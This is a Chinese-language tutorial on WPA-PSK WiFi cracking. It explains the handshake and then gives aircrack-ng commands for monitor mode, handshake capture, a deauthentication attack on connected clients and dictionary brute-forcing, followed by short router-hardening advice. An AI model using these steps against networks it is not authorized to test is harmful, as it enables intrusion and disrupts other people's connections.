• WiFi密码破解与防范
  • 1 WIFI破解原理
    • 1.1 wifi认证方式
    • 1.2 WPA-PSK的认证过程：
    • 1.3 WPA-PSK认证四次握手认证的过程
    • 1.4 WPA-PSK破解原理
  • 2 WIFI破解过程
    • 2.1 破解wifi实战
    • 2.2 有关WIFI安全建议

    WiFi密码破解与防范

    此教程为wifi无线密码破解攻略，建议以探讨学术和热爱网络技术为学习目标。

    1 WIFI破解原理

    本章节主要介绍WIFI认证方式和认证具体过程，还有如何利用WIFI的认证再破解的基本原理。

    1.1 wifi认证方式

    1、不启用安全

    2、WE

    3、WPA/WPA2-PSK

    4、WPA/WPA2 802.1X （radius认证）

    一般我们设置主流的都是第三种。

    具体在路由器的配置界面一般如下图所示：

    img

    1.2 WPA-PSK的认证过程：

    img

    1、无线AP定期发送beacon数据包，使无线终端更新自己的无线网络列表。

    2、无线终端在每个信道（1-13）广播ProbeRequest（非隐藏类型的WiFi含ESSID，隐藏类型的WiFi不含ESSID）

    3、每个信道的AP回应，ProbeResponse，包含ESSID，及RSN信息

    4、无线终端给目标AP发送AUTH包。AUTH认证类型有两种，0为开放式、1为共享式（WPA/WPA2必须是开放式）

    5、AP回应网卡AUTH包

    6、无线终端给AP发送关联请求包associationrequest数据包 7、AP给无线终端发送关联响应包associationresponse数据包

    8、EAPOL四次握手进行认证（握手包是破解的关键）

    9、完成认证可以上网。

    1.3 WPA-PSK认证四次握手认证的过程

    img

    1.4 WPA-PSK破解原理

    用我们字典中的PSK+ssid先生成PMK（此步最耗时，是目前破解的瓶颈所在），然后结合握手包中的客户端MAC，AP的BSSID，A-NONCE，S-NONCE计算PTK，再加上原始的报文数据算出MIC并与AP发送的MIC比较，如果一致，那么该PSK就是密钥。

    如图所示：

    img

    2 WIFI破解过程

    2.1 破解wifi实战

    （1）. 关闭网络管理器，为了防止干扰

    1. service  network-manager stop
    1. airmon-ng check kill

    （2）. 查看本机电脑的无线网卡

    1. ifconfig

    或者

    1. iwconfig

    找到是否有wlan0无线网卡的，如果没有无线网卡请插入usb无线网卡。 如果是插入usb网卡请

    1. ifconfig wlan0 up

    加载无线网卡

    （3）. 激活网卡为监听（monitor）模式

    1. airmon-ng start wlan0

    img

    得到监控模式下的设备名是mon0 有的可能是wlan0mon，请记住这个名字

    （4）. 探测周围无线网络

    1. airodump-ng mon0

    查看周边路由AP的信息。

    个人经验一般信号强度大于-70的可以进行破解，大于-60就最好了，小于-70的不稳定，信号比较弱。（信号强度的绝对值越小表示信号越强）

    img

    img

    img

    （5）. 选择要破解的WiFi，有针对性的进行抓握手包

    1. airodump-ng --ignore-negative-one -w  /tmp/test.cap-c 11 --bssid 40:16:9F:76:E7:DE mon0

    参数说明：-w 保存数据包的文件名 –c 信道 –bssid ap的mac地址 (注意test.cap会被重命名)，也可以用其他工具抓包比如：wireshark、tcpdump，抓到握手包会有提示。

    （6）. 模拟目标wifi，想可信客户端发起断链攻击

    为了顺利抓到握手包，我们需要使用DEAUTH攻击使已经连接的客户端断开并重新连接，以产生握手包。（注意：抓握手包破解必须有合法的客户端才行。）

    攻击命令如下

    1. aireplay-ng -0 3 -a B8:A3:86:63:B4:06 -c 00:18:1a:10:da:c9 -x 200 mon0

    参数说明：-0 Deautenticate 冲突模式 3 发包次数 -x 发包速度

    img

    如果攻击成功,airodump-ng捕获handshake ,此时可以ctrl+c终止airodump-ng抓包。

    （7）. 通过字典暴力破解捕获到的加密密码

    1. aircrack-ng-w pass-haoyong.txt test-03.cap

    参数解释：-w 字典路径

    img

    如果字典中有对方的密码，那么经过一段时间就会破解成功，最终会出现 FOUND KEY!字样.

    img

    （8）. 破解成功，恢复网络环境

    1. service  network-manager start

    2.2 有关WIFI安全建议

    （1） 路由密码不要设置WEP方式加密的，因为WPA2-PSK的加密方式是不可逆的，但是wep确实可逆的，不论你设置的密码多么复杂，都会被秒破。

    （2） 加密方式选择WPA2-PSK，密码不要设置常用面比如简单的123456aa这种。一般网上流传的密码字典会包括这种密码，所以很多常用字典可以轻易破解

    （3）密码难度稍微复杂一些，长度不要局限8位，即可。

    视频：http://pan.baidu.com/s/1hrY0qR6
    资料链接：http://pan.baidu.com/s/1cecjZC 密码：rn7i
    直播视频链接：
    http://v.youku.com/v_show/id_XMTY3OTgyNjY2NA==.html